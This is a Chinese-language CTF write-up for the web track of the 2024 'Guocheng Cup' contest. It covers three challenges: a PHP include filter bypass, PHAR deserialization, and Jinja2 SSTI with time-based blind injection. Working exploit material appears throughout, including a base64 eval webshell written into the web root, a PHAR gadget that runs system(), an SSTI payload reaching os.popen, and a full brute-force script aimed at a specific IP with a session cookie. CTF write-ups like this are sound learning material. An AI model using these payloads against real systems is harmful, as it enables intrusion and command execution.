2024“国城杯”网络安全挑战大赛web方向部分wp
字数 725 2025-08-22 18:37:15

2024"国城杯"网络安全挑战大赛Web方向解题报告

目录

  1. WMCTF2020_Web_Checkin题目复现
  2. n0ob_un4er题目解析
  3. Ez_Gallery题目分析

WMCTF2020_Web_Checkin题目复现

题目发现

  • 通过目录扫描发现.index.php.swp文件
  • 存在guest账户:guest:MyF3iend

关键代码分析

<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
} else {
    include($path);
}
?>

漏洞利用

  1. 二次URL编码绕过:使用双重URL编码绕过过滤
  2. PHP链子生成:使用提供的工具生成PHP链子
  3. 写马操作
    1=echo+PD9waHAgZXZhbCgkX1BPU1RbMV0pOzs/Pg%3d%3d|base64+-d>/var/www/html/1.php
    

n0ob_un4er题目解析

题目源码分析

<?php
$SECRET = `/readsecret`;
include "waf.php";

class User {
    public $role;
    function __construct($role) {
        $this->role = $role;
    }
}

class Admin{
    public $code;
    function __construct($code) {
        $this->code = $code;
    }
    function __destruct() {
        echo "Admin can play everything!";
        eval($this->code);
    }
}

function game($filename) {
    if (!empty($filename)) {
        if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
            echo "Well done!";
        } else {
            echo "Copy failed.";
        }
    } else {
        echo "User can play copy game.";
    }
}

function set_session(){
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode('-----', $data);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
        die("hacker!");
    }
    $data = unserialize($data);
    if ($data->role === "user") {
        game($_GET["filename"]);
    } else if($data->role === "admin") {
        return new Admin($_GET['code']);
    }
    return 0;
}

if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
} else {
    highlight_file(__FILE__);
    check_session();
}

解题思路

  1. 伪造签名:尝试伪造HMAC签名
  2. PHAR反序列化:利用copy函数触发PHAR反序列化
    • 参考题目:
      • LCTF 2018的T4lk 1s ch34p,sh0w m3 the sh31l
      • hitcon2017-Baby-H-master-php-2017
  3. PHAR文件生成
<?php
highlight_file(__FILE__);
class Admin{
    public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

PHAR文件编码

cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

关键点

  • 需要进行3次base64解码来消去垃圾数据
  • 编码后的PHAR文件需要连续进行3次base64编码
  • 确保payload填充位数,使之连续3次base64编码都不会出现"="

Ez_Gallery题目分析

漏洞发现

  1. 任意文件读取
    http://125.70.243.22:31462/info?file=/etc/passwd
    http://125.70.243.22:31462/info?file=../../app.py
    

关键代码分析

def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)
    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*',
        r'.*count.*',
        r'.*[0-9].*',
        r'.*soft.*',
        r'.*'
    ]
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')
    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result != None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')

漏洞利用

  1. SSTI注入:绕过黑名单过滤
    • 过滤了点号和数字
    • 使用attr()方法替代点号访问属性
  2. Bash时间盲注
    • 使用wc -m命令绕过数字限制
    • $(echo ABCD | wc -m)输出5
  3. 关键payload
    "{{(lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('a=`/readflag` && if [ `echo $a|cut -c $(echo " + position + " | wc -m)` = \"" + i + "\" ]\nthen\n\tsleep $(echo ABCDE | wc -m)\nfi'))|attr('read')()}}"
    

解题脚本

import string
import requests
import time

a=''
url = 'http://125.70.243.22:31462/shell'
cookies = {"session":"I4tiZVB2Ta5DNRID3WMauUNYWoR72h7NHHROR6mw6odXP_IPuLQW7xTtmJ1qr-ToNXTulB6n84dn98j5phvBt1sxNzMzNjU3OTYxLCAxNzMzNTUxNTUxLjIwNzgxNSwgeyJ1c2VybmFtZSI6ICJhZG1pbiJ9XQ"}

s = string.ascii_letters+"0"+"1"+"2"+"3"+"4"+"5"+"6"+"7"+"8"+"9"
flag=''

for j in range(0,50):
    position='B'*j
    print(len(position))
    for i in s:
        if i == "1" or i == "2" or i == "3" or i == "4" or i == "5" or i == "6" or i == "7" or i == "8" or i == "9":
            a = "$(echo " + "B" * (int(i)-1) + " | wc -m)"
        params = {
            "shellcmd": "{{(lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('a=`/readflag` && if [ `echo $a|cut -c $(echo " + position + " | wc -m)` = \"" + i + "\" ]\nthen\n\tsleep $(echo ABCDE | wc -m)\nfi'))|attr('read')()}}"
        }
        start_time = time.time()
        response = requests.get(url, cookies=cookies, params=params)
        elapsed_time = time.time() - start_time
        if elapsed_time > 3:
            flag+=i
            print(flag)
            break
        if i=="9":
            flag+="0"
            print(flag)

最终结果

成功获取根目录内容:

app3bin0dev0etc0flag9home0lib0media0mnt0opt0proc0readflag0root0run0sbin0srv0sys0
2024"国城杯"网络安全挑战大赛Web方向解题报告 目录 WMCTF2020_ Web_ Checkin题目复现 n0ob_ un4er题目解析 Ez_ Gallery题目分析 WMCTF2020_ Web_ Checkin题目复现 题目发现 通过目录扫描发现 .index.php.swp 文件 存在guest账户: guest:MyF3iend 关键代码分析 漏洞利用 二次URL编码绕过 :使用双重URL编码绕过过滤 PHP链子生成 :使用提供的工具生成PHP链子 creat_ rce_ chain.php creat_ payload.py 写马操作 : n0ob_ un4er题目解析 题目源码分析 解题思路 伪造签名 :尝试伪造HMAC签名 PHAR反序列化 :利用copy函数触发PHAR反序列化 参考题目: LCTF 2018的T4lk 1s ch34p,sh0w m3 the sh31l hitcon2017-Baby-H-master-php-2017 PHAR文件生成 : PHAR文件编码 关键点 需要进行3次base64解码来消去垃圾数据 编码后的PHAR文件需要连续进行3次base64编码 确保payload填充位数,使之连续3次base64编码都不会出现"=" Ez_ Gallery题目分析 漏洞发现 任意文件读取 : 关键代码分析 漏洞利用 SSTI注入 :绕过黑名单过滤 过滤了点号和数字 使用 attr() 方法替代点号访问属性 Bash时间盲注 : 使用 wc -m 命令绕过数字限制 $(echo ABCD | wc -m) 输出5 关键payload : 解题脚本 最终结果 成功获取根目录内容: